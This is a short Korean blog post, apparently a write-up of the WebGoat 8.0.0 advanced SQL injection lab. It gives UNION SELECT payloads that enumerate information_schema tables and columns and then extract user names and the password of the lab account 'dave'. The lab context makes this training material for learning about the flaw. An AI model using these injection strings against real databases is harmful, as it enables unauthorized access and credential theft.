SQL 인젝션 문제풀이 advanced (webgoat-8.0.0)

2021. 5. 2. 00:52워게임

1. 테이블에서 모든 데이터를 검색 후 dave의 비밀번호를 알아내시오.

 

 

2.   특수문자 하나만 입력시 어떤 쿼리가 내부적으로 동작하는지 출력되었다.

     sql 인젝션 이용하여 문제를 풀수있을듯함.

 

3. 다음 구문을 name에 입력하니 user_data 테이블의 모든 값이 출력되었다.

 

 

4. sql 인젝션 취약점이 있고 앞의 쿼리문의 필드 갯수를 알고있기 때문에 

    ' union select null, null, table_name, null, null, null, null from information_schema.tables-- 구문을 입력해 메타정보를 볼수있다. 여기서 공격에 필요한 유의미한 정보를 얻을수있는 테이블에 대한 정보를 찾아보면된다.

 

 

 

5. 출력된 테이블중 의미있어보이는 USER_SYSTEM_DATA테이블의 컬럼을 알아내기위해 다음 구문을 삽입해본다.

 

' union select null, column_name, null, null, null, null, null from information_schema.columns WHERE table_name = 'USER_SYSTEM_DATA'--

 

USER_NAME, PASSWORD 컬럼을 활용해 ID/PW를 알아낼 수 있겠음.

 

 

 

6. 다음 첫번째 구문으로 dave라는 계정의 유무를 알아낼 수 있다. 

 

' union select null, null, USER_NAME, null, null, null, null from USER_SYSTEM_DATA--

 

 

다음의 구문으로 dave에 해당하는 pw를 알아낼 수 있음.

' union select null, null, PASSWORD, null, null, null, null from USER_SYSTEM_DATA where USER_NAME = 'dave'-

 

 

알아낸 패스워드 passW0rD로 패스워드를 체크한 결과 패스워드가 일치하는것을 확인가능.